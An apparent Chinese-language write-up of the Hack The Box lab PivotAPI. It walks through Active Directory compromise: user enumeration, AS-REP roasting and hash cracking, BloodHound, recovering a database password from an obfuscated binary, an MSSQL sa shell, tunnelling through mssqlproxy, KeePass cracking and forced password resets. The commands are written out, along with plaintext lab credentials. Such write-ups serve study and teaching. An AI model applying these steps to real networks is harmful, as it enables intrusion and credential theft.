HTB靶机:PivotAPI
上来先nmap梭哈

以 / 做为分割,取第一列,
grep open aaa.nmap | awk -F "/" '{print $1}'

再做多行分割
grep open aaa.nmap | awk -F "/" '{print $1}' | paste -sd ','
pasted -s 多行分割
d ', ' 指定以 , 做分割符号

把这些端口赋值给一个变量
ports=$(****)

echo $变量名
直接nmap详细信息扫描
nmap -sT -sV -sC -O -p21,22,53,88,135,139,389,445,464,593,636,1433,3268,3269 10.10.10.240 -oA bbb


再加上漏洞扫描
nmap --script=vuln -p21,22,53,88,135,139,389,445,464,593,636,1433,3268,3269 10.10.10.240 -oA vuln


接下来逐一查看
21端口支持ftp匿名登录

389端口获取一个域名

1433端口ms-sql的ntlm信息中也有一个域名

看到域名就随手把它加到hosts里

接下来去ftp里看看有没有有价值的东西


wget -m 就是递归下载所有比本地新的文件
-m, --mirror -N -r -l inf --no-remove-listing 的缩写形式。
-N, --timestamping 只获取比本地文件新的文件
--no-if-modified-since 不要在时间戳 (timestamping) 模式下使用
if-modified-since get 条件请求
--no-use-server-timestamps 不用服务器上的时间戳来设置本地文件
-r, --recursive 指定递归下载
-l, --level=数字 最大递归深度 (inf 或 0 代表无限制,即全部下载)。
--no-remove-listing 不要删除‘.listing’文件
为什么不直接用ftp的get下载呢,
首先要用binary启动二进制文件的传输方式,因为可执行文件,
如果不启动这种传输模式的情况下,很容易损坏
就是你下载下来文件,但是是不可用的。
再有就是多文件下载的时候,要用prompt off提示关掉,这样你就能用mget一次下载多个文件
还有的时候FTP会卡住,那要启动passive on就是被动模式
1. 启动命令行
2. 连接ftp
ftp ip :连接对应ip,连接后输入账号密码即可
或
ftp 回车后,open ip :连接对应ip,连接后输入账号密码即可
3. FTP查看操作命令
dir :显示目录和文件列表
ls :显示简易文件列表(会受限)
cd :进入对应目录
pwd :查看当前目录
rename FileName NewFileName :
重命名文件名(FileName:本地文件名字,NewFileName:替换新名字)
delete FileName :删除文件
help :查看命令使用方法,帮助
4. 下载文件
type :查看当前的 传输方式
ascii :设定传输方式为 ASCII码方式
binary :设定传输方式为 二进制方式
(以上命令都不带参数)
get FileName :下载指定文件
(FileName:下载的FTP上的文件名,NewFileName:保存在本地上的文件名,无newname,文件以原名保存。)
get 下载的文件在启动FTP时的目录,可以使用 lcd 命令修改下载目录。
lcd d: :表示将工作目录设定为D盘的根目录
mget FileName :下载多个文件
(mget命令支持通配符""和"?",如:mget .jpg:表示下载FTP服务器当前目录下的所有扩展名为jpg的文件。)
上传和下载文件时选用正确的传输类型
FTP的传输类型分为 ASCII 码方式和 二进制 方式两种
对 .txt 、.html 等文件,应采用 ASCII码 方式传输
对 .exe 或 图片、视频、音频 等文件,应采用 二进制 方式传输
默认情况下,FTP为ASCII码传输方式。
5. 上传文件
put FileName :上传指定文件【或指定新名字】(FileName:本地文件名字,NewFileName:上传到fFTP的名字)
send FileName :上传指定文件
文件名字需要带目录路径
send 上传速度比 put 快,其他差别不大
6. 结束退出
close :结束与目标ip的FTP会话
quit :退出FTP环境,结束与服务器的FTP会话并退出FTP环境这都是FTP渗透的时候一些必备的参数设置好的
下面是ftp的下载方式

接下来看下载下来的文件,

.listing 是下载的记录列表,便于我们看总共下载了那些东西。现在已经不用了,直接删除。

这个txt文本中说了,很重要,不要忘记修改下载方式到二进制模式。否则文件会损坏。
使用

目测遍历一下文件名,文件的一些时间戳类型
meme类型,创建者,creator是用microsoft word创建的
创建时间有title,还有作者用Acrobat PDFwriter生成的author (作者) 是 saif。
Author(作者): saif
Creator(创建者): Kaorz
像这种作者,创建者,都属于敏感信息,后面都能用得到。
我们把这些文档中的作者和创建者名字都提取出来。
exiftool *.pdf | grep -iE creator\|author
-i, --ignore-case 在模式和数据中忽略大小写
--no-ignore-case 不要忽略大小写(默认)
-E, --extended-regexp <模式> 是扩展正则表达式
| 分隔符前面需要一个转义符 \ ,要不然识别不了

然后再稍微去重一下,
只去作者,创建者的名字

去除微软;microsoft字样
exiftool *.pdf | grep -iE creator\|author | awk -F ":" '{print $2}' | grep -v -i microsoft
grep -v -i
-v 忽略大小写
-i 删除指定字符

再去除带数字的
exiftool *.pdf | grep -iE creator\|author | awk -F ":" '{print $2}' | grep -v -i microsoft | grep -vE '[0-9]'

再去一下重复和去除Unknown
exiftool *.pdf | grep -iE creator\|author | awk -F ":" '{print $2}' | grep -v -i microsoft | grep -vE '[0-9]' | uniq | grep -v -i Unknown

saif
byron gronseth
Kaorz
alex
OK,我们现在拿到了四个用户名,这很重要!!!
=====================================
接下来我们再看一下这些文件名

第一个是一个ip地址加一个端口号
第二个是一篇关于linux基于堆栈的缓冲区溢出的论文
第三个是windows堆paper
第四个是利用文件
然后是两个notes文件,和最后一个不知道啥东东的文件。
xdg-open 以默认打开程序打开文件
xdg-open . 是打开当前目录的文件夹
10.1.1.414.6453.pdf讲的大概就是关于作者的个人介绍和研究方向介绍。

28475-linux-stack-based-buffer-overflows.pdf讲的是基于堆栈的缓冲区溢出利用
BHUSA09-McDonald-WindowsHeap-PAPER.pdf讲的是基于linux堆栈的缓冲区溢出
BHUSA09-McDonald-WindowsHeap-PAPER.pdf讲的是缓冲区溢出
接下来继续,用mcrackapexec来验证一下445端口的状态

显示是有共享的,再次暴露出域名
看一下共享情况

smbclient 连进去看看
-N是指定空密码

没法连接
没有状态资源名字没找到
这样SMB服务,我们没有用户凭据的情况下是无法访问的
==============================================
那现在我们只能从之前找到的那四个用户名上面来爆破了
由于没有web服务,
我们试一下RPC和纯暴力破解
rpcclient -U '' -N 10.10.10.240
-U '' 给空用户名
-N 给空密码
-N, --no-pass Don't ask for a password
--password=STRING Password
--pw-nt-hash The supplied password is the NT hash

我们看看能不能交互
enumdomusers
枚举域用户,显示拒绝访问
querydominfo
查域信息,同样拒绝访问
srvinfo
获取远程计算机相关信息,同样拒绝访问
最后在使用kerbrute再试一试
之前在打APT靶机时已经下载过了,而且编译了arm版本可以直接使用。

./kerbrute_linux_arm64
用空命令执行会显示帮助信息

kerbrute
kerbrute是一个利用Kerberos pre-auth协议进行用户枚举的工具,在进行暴力破解时不会产生日志
要了解背后的原理
首先需要了解Kerberos基本机制
Kerberos作为网络认证协议
它允许在网络上进行节点之间的安全身份验证
Ker环境中用户或服务的身份验证是基于密钥,而不是密码
Kerbrute的用户名枚举,是基于一个Kerbrute的特性
当一个不存在的用户尝试认证时,Kerbrute返回一个特定的错误
表示客户端身份未知
但是如果用户名存在,但密码错误
Kerbrute返回的是另一条错误信息
基于这种行为,Kerbrute这个工具
它可以区分哪些用户是存在的,但密码不正确
以及哪些用户是不存在的。
这种方法不仅速度快,而且隐蔽
因为只是发送认证请求
而不实际进行认证
所以不会触发账户锁定策略
./kerbrute_linux_arm64 userenum --domain LicorDeBellota.htb --dc 10.10.10.240 /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt -t 500

ok,跑出来了
再把这些用户名跟之前pdf里找到的用户名进行合并


现在手里有了这么一些用户名,
接下来就是
AS-REP Roasting攻击
authentication service response roasting
认证服务响应
就是要想到尝试AS-REP Roasting攻击
看是否某个用户碰巧有不需要域认证,就是Do not require Kerberos preauthentication的标志,这个标志为真
将允许我们启用这个用户的Kerberos认证过程,尽管我们不能成功认证
但在此过程中,我们能够得到 tgt 就是它的凭据哈希
然后就能尝试着破解这个哈希。
这个标志为UF_DONT_REQUIRE_PREAUTH是user flag do not require pray of sentication
当某个域用户这个属性设置为真的时候,我们就能通过AS-REP Roasting这种攻击
获得相应用户的tgt,也就是他的凭据哈希
然后对这个哈希进行破解
简单引用一点Kerberos的知识作为背景,Kerberos是一种计算机网络身份验证协议
它允许两个通信实体,一般是客户端和服务器端,在不安全的网络上进行双向身份验证
当用户尝试登录一个使用Kerberos的系统时,这个用户首先会请求一个TGT,
TGT就是这三个字母它是Ticket Granting Ticket三个单词的首字母,就是票据授予票据
用来发放整个认证过程,以及客户端访问服务端时所需要的服务授予票据
这个请求是发送给as的这个as authentication service认证服务,如果请求被批准
认证服务就会返回一个加密的TGT,
才可以在默认的chorus配置中
当用户不存在或密码错误时
as也就是all sentication service不会返回tgt
但如果在Kerberos中启用了预身份验证,就是pre authentication
预身份验证不是域名那个域,是预先身份验证Pre authentication
就是如果在Kerberos启用了预身份验证,那么在as返回TGT之前
用户首先需要提供一种证据证明他们知道密码,这样增加了额外的安全性
然而如果预身份验证被禁用,攻击者可以请求TGT,即使他们不知道用户密码
As authentication service,还是会返回一个加密的TGT
攻击者可以随后尝试离线破解这个加密的TGT,已获得用户的密码
这就是as rap roasting的攻击基础
就是利用Kerberos配置中禁用预身份验证的情况
请求和接收加密的TGT,然后尝试离线破解,它就这么个事儿
这个单词roast本意是烘烤慢烹
是一种烹饪的方式
比如北京烤鸭就是roast duck
所以这种破解技术它肯定不是烘烤慢烹的意思
我们要用到impact框架中的get np users模块,这个Python脚本工具
先让工具就位,更新一下搜索数据库

把他加到当前环境变量中,使用起来会方便一些
export PATH=$PATH:/usr/share/doc/python3-impacket/examples/
export 环境变量=当前环境变量附加这个路径
GetNPUsers
GetNPUsers.py -no-pass -dc-ip 10.10.10.240 LicorDeBellota.htb/ -usersfile user_list

把hash保存下来,
hashcat
然后用hashcat识别一下是什么类型
他前面的krb5asrep应该是标识类型,可以按照它的标识去搜索类型,尽量使用短名称,搜到范围大。

就是这个类型了18200 | Kerberos 5, etype 23, AS-REP
hashcat -m 18200 kaorz_hash /usr/share/wordlists/rockyou.txt -t 500

很快就跑出来了Roper4155
hashcat跑出来的密码会保存在/root/.local/share/hashcat/hashcat.potfile文件中

john
也可以跑,而且可以自动识别密文类型,
john kaorz_hash -w=/usr/share/wordlists/rockyou.txt

都能跑出来。
直接ssh登录

发现登不上去,应该是该用户没有ssh登录的权限。
Kerberosting
那现在有一组凭据了,可以试一下,
用impact框架中的get user SPN Python脚本空命令
GetUserSPNs.py -dc-ip 10.10.10.240 LicorDeBellota.htb/kaorz:Roper4155

No entries found! 没有记录
那还有什么是可以登录的

试试mssql
mssqlclient.py LicorDeBellota.htb/kaorz:Roper4155@10.10.10.240

登录错误。。。
那现在能走的路都走不通,只能继续分析。
bloodhound
要安装bloodhound主程序和bloodhound.py采集器这两个

然后启动neo4j数据库,但是bloodhound缺登不进去,我忘记密码了。。。
修改neo4j数据库密码
教程如下:
1.找到DBMS文件夹下/usr/share/neo4j/conf/neo4j.conf文件,修改以下属性为false:
dbms.security.auth_enabled=false2.在浏览器终端,执行以下语句,切换到system用户:
:use system3.修改neo4j用户的密码:
ALTER USER neo4j SET PASSWORD 'newpwd';4.关闭neo4j,将修改的conf配置文件修改回去或注释掉:
dbms.security.auth_enabled=true#dbms.security.auth_enabled=false5.重启neo4j即可。
=================================================

只能修改配置文件然后改密码。
/usr/share/neo4j/conf/neo4j.conf

然后使用bolt用户登录,它的账号密码都是admin

登上去之后竟然是neo4j的前缀。。。。

切换到system权限


修改neo4j用户的密码

ok,修改好了,
别忘了把配置文件改回去

OK,重启neo4j,
终于能登录了。。。

接下来需要使用到bloodhound-python采集器
bloodhound-python -c ALL -u kaorz -p Roper4155 -d LicorDeBellota.htb -dc LicorDeBellota.htb -ns 10.10.10.240 --zip

这里可以看到提示信息
信息:已找到AD域:licordebellota.htb
信息:正在为用户获取TGT
信息:正在连接到LDAP服务器:LicorDeBellota.htb
信息:对LDAP的Kerberos身份验证失败,正在尝试NTLM
信息:找到1个域
信息:在林中找到1个域
信息:找到1台计算机
信息:正在连接到LDAP服务器:LicorDeBellota.htb
信息:对LDAP的Kerberos身份验证失败,正在尝试NTLM
信息:找到28个用户
信息:找到58个组
信息:找到3个gpo
信息:找到1个
信息:发现19个集装箱
信息:找到0个信任
信息:启动有10个工作人员的计算机枚举
信息:正在查询计算机:PivotAPI.LicorDBellota.htb
信息:完成时间:00M 52S
信息:正在将输出压缩到20231007202141_bloodhound.zip
===========================================================
接下来把压缩包加载进入就行了

搜索kaorz用户,
然后设置成Owned,就是已经拿下了的意思。

然后发现,能控制的目标为0,它不能控制任何目标,

再看看Analysis中的(Shortest Path from Owned Principals)从已获取的主体中看看有最短路径吗

结果是没有。。。

呃呃,又是死路。。。

这图就看看吧,现在没有可利用的、
继续换思路
之前没有用户凭据,没法访问smb共享,现在有了 一个用户凭据,可以再去看看。
smbmap
smbmap -H 10.10.10.240 -u kaorz -p Roper4155

crackmapexec
crackmapexec smb 10.10.10.240 -u kaorz -p Roper4155 --shares

SMB
接下来看看smb里面有什么
IPC$目录

IPC$里面没东西列出来
NETLOGON目录
smbclient -U LicorDeBellota.htb/kaorz //10.10.10.240/NETLOGON

还有一个文件夹SYSVOL

不过里面都是没啥用的东西。。。。
看看下载下来的文件

是邮件,需要用到msgconvert
msgconvert *.msg

直接使用xdg-open打开,xdg-open会使用该文件的关联程序打开。
xdg-open 'Server MSSQL.eml'

邮件是发送给cybervaca用户的,邮件中的用户名是要特别注意的。
邮件正文直接翻译
下午好
由于2010年在Windows中安装的Oracle数据库造成的问题,已决定在2020年初迁移到MSSQL。
请记住,在重新启动Oracle服务时出现了问题,
因此创建了一个名为“Reset service.exe”的程序来登录Oracle并重新启动服务。
如有任何疑问,请随时与我们联系。
问候,
帮助台团队第二封邮件是给helpdesk账号,这个应该不是个人账号,应该是工作组或者功能性的账号
xdg-open 'WinRM Service.eml'
下午好
在上次pentest之后,我们决定停止在外部显示WinRM的服务。我们的几名员工都是邪恶WinRM的创建者,所以我们不想暴露这项服务。。。我们创建了一个规则来阻止服务的公开,我们还阻止了TCP、UDP甚至ICMP输出(这样就不会使用ICMP类型的shell)
问候,
帮助台团队文件已经看完了,接下来是
分析Restart-OracleService.exe
先用file看一下这个文件的元数据
file Restart-OracleService.exe
Restart-OracleService.exe: PE32+ executable (console) x86-64, for MS Windows 6 sections
file的原理,就是基于魔术和其他特定于文件类型的特征
从二进制分析角度需要注意这些细节
文件魔术指的是magic number
PE32+ executable描述的文件的格式
意味着它是一个扩展的PE格式
PE portable executable
这是windows操作系统用于可执行文件或者DLL
动态链接库的标准形式
Console
这意味着该文件是一个控制台应用程序
就是命令行工具
而不是一个具有图形界面的程序
X86-64表示程序是X86-64的架构
平时我们也称为AMD64或者简称64位
就是用这种架构编译的
也意味着它不能在纯32位的windows系统上运行
For windows
更是明确说明这是一个windows操作系统编译的程序
6 sections
这指的是PE文件的段数量
section段在PE文件格式中
断是文件的主要组成部分
它包含代码数据和其他信息
这个值可以为我们做逆向分析
提供有关文件结构的某些基本信息扩展
比如ELF文件魔数
可执行文件通常是16进制的
0x7F 0x45 0x4C 0x46
因为文件的扩展名并不总是可靠的
文件的内容和魔术提供了更准确的识别方法
file命令用来识别文件类型时
除了依赖魔术,就是magic number
还会依赖其他一些特定于文件类型的特征
比如文件模式的识别
file命令可以识别许多纯文本的格式
比如UTF8或特定的脚本
像shell Python啊
它都可以直接识别的
第二个除了魔术之外
file识别文件类型的特征就是文件的结构和布局
某些文件格式有特定的内部结构和布局
这可以帮助识别文件类型
再就是尽管文件扩展名不总是准确
但file命令在某些情况下
可能还是会使用它做一个线索
还有像文件的元数据,某些文件格式包含元数据,比如作者创建日期
这些也可以用来识别文件的类型
还有文件的内容模式
比如XML文件会有特定的标签结构,还有字节间隔或模式
有些文件格式,在其内容中有固定的字节间隔和模式
其他还有压缩和编码模式
文件尾巴的特定标记等等等等
这都是file这个命令用来识别文件格式的特征
当然逆向一个二进制文件的时候
除了用file进行原数据的观察,还会用到其他工具
比如像strings,还有像ldd看链接库的,还有像NM看符号表
必要的情况下这些工具都要用
好的
这是就着file命令识别restart oracle service这个文件的元数据
静态逆向分析
ghidra静态逆向分析
接下来使用ghidra进行静态逆向分析

新建一个项目




选中文件,点击龙头,即可进入

analyze:执行分析

右下角会显示进度条

等他分析完结果就出来了,

左边是汇编代码,右边是反编译出来的代码,是用C语言表达的。
在左边的Symbol Tree窗口找它的入口


可以看到它的代码毫无逻辑,
这应该是做了加密或混淆
所以静态分析是没法继续的
那就观察一下这个可执行文件的程序的交互行为吧
就是动态逆向分析
如果你刚刚接触逆向
可能对逆向分析中的动态分析和静态分析搞不清楚
简单说
动态分析就是程序运行的过程中进行分析
而静态就像刚刚一样,这个程序作为文件,我们把它逆向,然后看它的代码各有优缺点
像现在的逆向分析,它不需要执行程序,没有程序运行带来的风险,而且可以看到整个程序的逻辑和结构
比如程序中有一些内容在运行的时候用不到,或者说压根儿就不会参与程序运行的代码
在静态分析中就有可能看到,而且静态分析更适合大规模或自动化分析
但是静态分析也有明显的劣势,就像刚才对于混淆的或复杂的代码,我们就很难解读,
比如这里的代码我们就很难把它读懂,就是无法直接观察到程序的运行行为,
这个程序它在干嘛,不知道再有静态分析
对于程序运行过程中,动态生成的或者修改的代码,比如像反射或者像自修改代码
这种静态分析就没法分析,
遇到类似的困难
我们就要用动态分析的办法,就是让程序跑起来
它的优点就是能够实时观察程序的实际行为,更容易识别运行时的数据和算法
而且可以绕过某些混淆或者加密的措施
你不能说程序跑起来了,还是在混淆的状态,这是不可能的
当然动态分析也有劣势
首先就是可能需要更多的时间来设置
并监视运行环境,再就是可能无法分析不常运行的代码,
或者特定的分支条件,未必将各个分支条件都触碰到
再有动态分析可能存在着一些对抗性的技术
如反调式的技术就可能会影响分析
当然动态分析和静态分析都有不同的常用工具
动态逆向分析
因为是.exe可执行程序,需要到windows虚拟机中进行操作。
需要用到的工具是sysinternals


Procmcon
下载完后打开Procmcon64a.exe,后面这个a指的是ARM版本。


四角定位框是捕捉
因为这个程序就是进程捕捉,进程监控的这样一个工具
它可以捕获windows的所有注册表文件,网络和进程的事件
现在启动捕捉状态
在这里我鼠标晃的这个位置不断的会显示
捕捉到新的系统行为,就是所有的注册表文件,网络和进程它都会捕捉到
现在我们停止它,因为我们只想让它捕捉和我们程序相关的
接下来删除掉这些进程,
分析Restart-OracleService.exe
选择Filter过滤器(漏斗图标)

选择:进程名---模式:包含---名称:OracleService

ok接下来运行程序

通过几次执行来确定程序已经完整运行了
基本能确定这个程序与系统交互的事件
我们都捕捉完整了
我们现在的目的是想知道我们的二进制
它有哪些行为,他做了哪些事。
那我们就观察它的进程信息
首先进程启动线程
创建装载镜像
然后读取注册表

这里回顾一下之前那两封邮件中的内容,
因为程序的一些问题,他做了这么一个restart oracle service的工具,
登录进数据库去解决这个问题,所以现在就想知道这个程序在执行的过程中
怎么实现这些功能的,有哪些交互行为。
这里读取了注册表,一般意义不大

这里有创建文件

对注册表熟悉的话,能够快速把这些项迅速的归类分组
随着你的经验越来越多,敏感度肯定会越来越高
这里依然是读取的
这里查询了系统的文件读取
这里有创建
但还是系统的链接库
这里有关闭文件
有创建文件

这里用临时文件夹,创建了54E3这个临时文件。

这里创建、关、涉及到了一个BAT文件
大家应该都知道他在干嘛
肯定是执行的命令

上面的都是对系统的读取,注册表的读取,
这里又是对于bat文件以及临时文件的操作
只要有类似这种能够执行命令的
肯定我们是比较感兴趣的
因为像这些适合系统操作的
而真正执行哪些动作的
都是这种bat批处理的命令
这里把这个文件销毁了
这里还可以增加筛选条件


CreateFile创建文件
WriteFile写文件
CloseFile关文件
CreateFile
QueryAttributeTagFile查询属性,标记文件
SetDispositionInformationEx最后删除
CloseFile关掉

那现在我们就想知道bat里执行了什么
而程序的行为是运行完程序
自动把临时文件夹中的这些BAT都删掉
所以现在我们要把它捕捉到
这个时候可以借助工具网上一搜
你们也应该能搜到临时文件
怎么把它持久化
其实直接改临时文件夹的权限
就可以达到这个效果
把这个路径拿到

到Temp目录下,把没用的都删了

然后,修改Temp文件夹属性,

点击,禁止继承

转换已经继承的权限

这个时候查看变成了编辑

类型选择:拒绝
显示全部权限
只勾选删除文件夹和删除
这样就只拒绝了删除的权限,其他不影响。

保存退出,现在再运行这个文件夹的文件就不会被删除了

现在我们就拿到了这个.bat文件。
直接编辑,查看内容,
首先是三个判断,如果符合就执行下面的correcto代码。

correcto是把一堆base64内容输出到c:\programdata\oracle.txt内容中,

以下是代码的注释
# 设置变量
$salida = $null; # 初始化变量 $salida 为空
$fichero = (Get-Content C:\ProgramData\oracle.txt); # 从文件 C:\ProgramData\oracle.txt 中读取内容并存储在变量 $fichero 中
# 循环处理文件的每一行
foreach ($linea in $fichero) {
$salida += $linea # 将每一行的内容追加到变量 $salida 中
}
$salida = $salida.Replace(" ",""); # 移除 $salida 中的所有空格
# 将 Base64 编码的字符串解码为字节数组,并将其写入文件 "c:\programdata\restart-service.exe"
[System.IO.File]::WriteAllBytes("c:\programdata\restart-service.exe", [System.Convert]::FromBase64String($salida)) > c:\programdata\monta.ps1
# 运行 PowerShell 脚本 "c:\programdata\monta.ps1",使用 -exec bypass 参数绕过执行策略限制
powershell.exe -exec bypass -file c:\programdata\monta.ps1最后运行后再删除文件。
我们把删除文件的那段代码删掉,修改一下开头那三个判断语句,再执行此bat文件


运行bat,

ok,程序跑完,我们也拿到了所有的文件。
接下来把restart-service.exe程序放到kali中继续分析。
先用file进行观察

P32的文件类型是一个控制台应用程序
调试信息已经被删除
是为windows编写的
有十个不同的段或区域
看一下有哪些可识别的字符
strings restart-service.exe

保存下来然后查看
然后搜索一下pass,passwd等关键字符,然而并没有收获。
接下来还是使用ghidra。
ghidra静态逆向分析
导入文件


选项默认即可,开始分析

在分析过程中出现一个报错,

重定位的报错
他说WwinGW为重定位列表没有找到
不用说做windows程序开发,我们做渗透测试
也知道WinGW在我们编译的时候也经常会用到
它里面涉及到一个伪重定位的问题
因为在windows上,当一个程序加载DLL的时候
这个DL可能不会总是加载到他期望的位置
如果其他的DLL或程序已经占用了这个位置
它就需要被加载到一个不同的地址
这种情况下,DLL中的数据地址需要重新进行定位
这里说的就是这件事儿
这个报错,通常意味着
动态链接库文件在编译时没有正确的配置
为重定位这个relocation,或者加载动态链接库的程序期望进行重新定位,
但DLL本身并没有这样的消息
现在的问题是反编译这边没有正确的表达程序原本的代码,函数入口也没有结果。。。

接下来只能继续在windows平台做动态逆向分析。
继续使用
修改下过滤条件,把原来的过滤的程序名字改成现在这个程序名,把PATH删掉,

运行

除了这个process monitor
用于监控windows文件系统注册表进程
还有动态链接库活动的
有没有像LINUX里边strings那样
能够捕获windows下API调用的显示函数,调用参数值,返回值等等这些信息的应用吗
因为刚刚我们分析了
想捕获它登录服务器凭据的这个需求
那对于函数调用参数值返回值
我们肯定是特别感兴趣的
还有什么这样的工具
动态调试的工具有挺多的
比如我们熟悉的X64DBG等等
寻找替代方案的网站https://alternativeto.net
API Monitor
在网站的推荐下试一试API Monitor

这个软件没有ARM架构的版本,只能换别的平台进行测试
API monitor x64 64位的下载链接http://www.rohitab.com/download/api-monitor-v2r13-setup-x64.exe
安装完后启动
将所有的API过滤器全部选中。创建监控新的进程。

选择restart-service.exe程序。

确定~
等他分析完

尝试搜搜pass;passwd;密码等关键字

还真搜到了。。。
接下俩尝试利用这组票据,看看有没有价值。
bloodhound启动
先启动neo4j数据库,
neo4j restart
再启动bloodhound
搜索svc

系统中并没有svc_oracle,但是有svc_mssql,
这句凭据基本上没用了。
但是我们发现这个系统的命名规则,
他只是把数据库名称变了,这个数据库的密码会不会也是这样的命名规则
svc_mssql:#mssql_s3rV1c3!2020
根据命名规则,可以推测,然后根据邮件中的信息,再把年份修改了。
进行验证

!!!ok nb
总结一下
刚才通过API monitor逆向获得的敏感信息
然后我们试图在blond hunt中验证,是否有这个用户
但是SVC开头的没有SVC下划线,oracle这个用户却有MSC口
因为邮件中已经看到有一个运维事件,就是在2020年的年初数据库从oracle迁移变成了SQL server
那这种情况看到用户名的命名规则有延续性是一贯的规则之后
我们也有理由推断密码会不会也是这个规则
一般来说一个大型企业,大型的it团队,他在做运维的时候是有一定的章法的,
所以我们有理由做了刚才的这种推断,并且验证我们的推断是正确的
尝试ssh连接

无法登录,这是一个数据库账号,那我们尝试连接他的数据库

根据帮助补全命令

这里用GPT查一下报错
就是用户名错误

这里有几条路,要么找它的数据库用户名,如果他修改了,我们是猜不出来。要么试试mssql系统默认的账户名sa

mssqlclient.py 'LicorDebellota.htb/sa:#mssql_s3rV1c3!2020@10.10.10.240'

查看一下支持那些命令

可以启用xp_cmdshell

还是问GPT,它说xp_cmdshell已经激活了。


查看一下当前用户的权限

SeManageVolumePrivilege
SeImpersonatePrivilege
有这俩权限就可以提权了,与当前靶机操作系统版本符合。
https://github.com/itm4n/PrintSpoofer

但是当前靶机是一台域渗透靶机,所以我们不走这条路,
我们继续走域渗透来拿下这台靶机。
继续
查看当前用户

SQL> xp_cmdshell net user svc_mssql /domain

当前账号属于域用户,同时他还是WinRM,但是我们从外部无法连进去。
现在我们在系统里了,查看一下他内部是否开启winrm

没错它是开放的,只是没有对外暴露。
可以回顾一下之前邮件里的内容

他们创建了一个规则来阻止该服务的暴露,并且还封锁了TCPUDP甚至ICMP的输出,以防止使用ICMP类型的shell。
这种情况下,像之前我们用过的cheese,等等通用协议的隧道和转发技术就行不通了,
这里需要用到mssqlproxy代理这项技术进行尝试。
Mssqlproxy代理
mssqlproxy 是一个工具包,旨在通过套接字重用通过受损的 Microsoft SQL Server 在受限环境中执行横向移动
这个是python2的版本https://github.com/blackarrowsec/mssqlproxy
这个是python3的版本https://github.com/djhons/mssqlproxy/
git clone下来后,将reciclador.dll这个文件放在工作路径的根目录下
这样我们的数据库shell访问的时候路径比较简单
python3 mssqlproxy/mssqlclient.py 'LicorDebellota.htb/sa:#mssql_s3rV1c3!2020@10.10.10.240'
SQL> enable_ole
SQL> upload reciclador.dll c:\windows\temp\reciclador.dll

官方的库提供了编译后的assembly.dll
wget https://github.com/blackarrowsec/mssqlproxy/releases/download/0.1/assembly.dll

下载好,到打靶的目录。
开始安装
python3 mssqlproxy/mssqlclient.py 'LicorDebellota.htb/sa:#mssql_s3rV1c3!2020@10.10.10.240' -install -clr assembly.dll

python3 mssqlproxy/mssqlclient.py 'LicorDebellota.htb/sa:#mssql_s3rV1c3!2020@10.10.10.240' -start -reciclador 'c:\windows\temp\reciclador.dll'

ok,查看一下本地1337是否开启。

proxychains代理

测试一下连接。
proxychains4 bash进入代理命令行,这样执行命令前面就不用加proxychain4这个前缀了。

谁便发个数据测试一下连接性。

直接evil-winrm -i 127.0.0.1 -u svc_mssql -p '#mssql_s3rV1c3!2020'

到桌面上看看有没有flag,

download credentials.kdbx 和note.txt

KeePass破解
查看提示

长时间运行MSSQL代理可能会导致问题。请在获取凭据后切换到SSH。
credentials.kdbx
.KDBX 格式是在KeePass的版本2中引入的。
以前的版本使用了.KDB 格式。KeePass 2可以导入旧的KDB文件,也可以导出为KDB格式。
注意:KeePass的Mac和Linux被称为KeePassX。但是,此版本尚不支持.KDBX 格式。
他有命令行访问工具apt install kpcli
访问需要密码,需要破解

用keepass2john生成credentials.kdbx的中间文件,中间hash
└─# keepass2john credentials.kdbx
credentials:$keepass$*2*60000*0*006e4f7f747a915a0301bded09da8339260ff96caf1ca7cef63b8fdd37c6a836*deabca672663938eddc0ee9e2726d9ff65d4ab7c6863f6f712f1c14b97c670a2*b33392502f94cd323ed25bc2d9c1749a*67ac769a9693b2ef7f1a149fb4e182042fcd2888df727ef4226edb5d9ae35c5c*dccf52b56e846bf088caa284beeaceffe16f304586ee13e87197387bac16ca6b

hashcat -m 13400 credentials.kdbx.hash /usr/share/wordlists/rockyou.txt --user

OK,拿到密码,成功进入。

查看内容

读取垃圾箱内的文件
show -f Recycle\ Bin/Sample\ Entry
show -f Recycle\ Bin/Sample\ Entry\ #2

show -f Recycle\ Bin/Sample\ Entry\ #2中有个Michael321和密码,
而下一个Windows目录中有个.ssh,这直接拿来试试看看能不能用。

这和之前mssqlclient.py进去查看的本地用户对上了,
拿到SSH立足点
直接ssh登录

6~~~flag在desktop目录下。。。
探索Developers文件夹及用户

cd 进去没权限查看。。。
查看一下这个文件夹的组成员。

将这两个用户在bloodhound中查看线索
先将SVC_MSSQL和3V4SI0N用户标记成Owned(以拿下)状态,


再搜索3V4SI0N用户到达DEVELOPERS组的路径

OK,根据他给出的路径操作。

现在要想访问developers文件夹,应该是这个组的权限才是可以的。
3V4SI0N用户对DR.ZAIUSS这个用户有完全的权限,而这个用户对SUPERFUME有完全的权限。
SUPERFUME属于developer组,这是一条可行的路径。
直接修改DR.ZAIUSS账号的密码。
报错了

翻译了一下,是密码不符合密码策略,设置一个稍微难一点的密码。

ok,命令执行了,
直接ssh登录

无法ssh登录
还是用老办法,走mssqlproxy,用
python3 mssqlproxy/mssqlclient.py 'LicorDebellota.htb/sa:#mssql_s3rV1c3!2020@10.10.10.240' -start -reciclador 'c:\windows\temp\reciclador.dll'
=====================
proxychains4 evil-winrm -i 127.0.0.1 -u Dr.Zaiuss -p 'A123...'

再改superfume的密码
net user superfume A123...
SSH端口转发
这个mssqlproxy代理跟坨狗屎一样,根本连不上,所以这里换了个代理,
因为我们已经拿到了一个可以ssh登录的账号,所以这里可以使用SSH端口转发。

ssh -CNfg -L 5985:10.10.10.240:5985 3v4Si0N@10.10.10.240
第一个5985是转发到本地的端口,后面的ip是目标靶机的ip,
再后面的端口是目标机器上的5985端口,要把目标机器的这个5985转发出来,转发到本地的5985端口。
然后加上目标机器的账号密码,登录。

ok,这个SSH端口转发不需要设置proxychain4了,直接使用命令即可
这里存在此靶机最大的坑。
那就是你想要evil-winrm登录之前,你必须先修改你要登录账号的密码,每次登录之前都要这样。
PS C:\Users\3v4Si0N>net user Dr.Zaiuss A123...
evil-winrm -i 127.0.0.1 -u Dr.Zaiuss -p 'A123...'

登录到Dr.Zaiuss用户后接着改Superfume用户的密码
net user Superfume A123...
evil-winrm -i 127.0.0.1 -u superfume -p 'A123...'

直接进Developers文件夹

直接download下来。
这里也有坑。。。
Evil-WinRM shell v3.4版本是有BUG的,下载了,但是本地找不到。。。

升级到Evil-WinRM shell v3.5这个BUG才解决。
这个路径比上面3.4的路径都完整了

终于下载下来了。。。。
program.cs
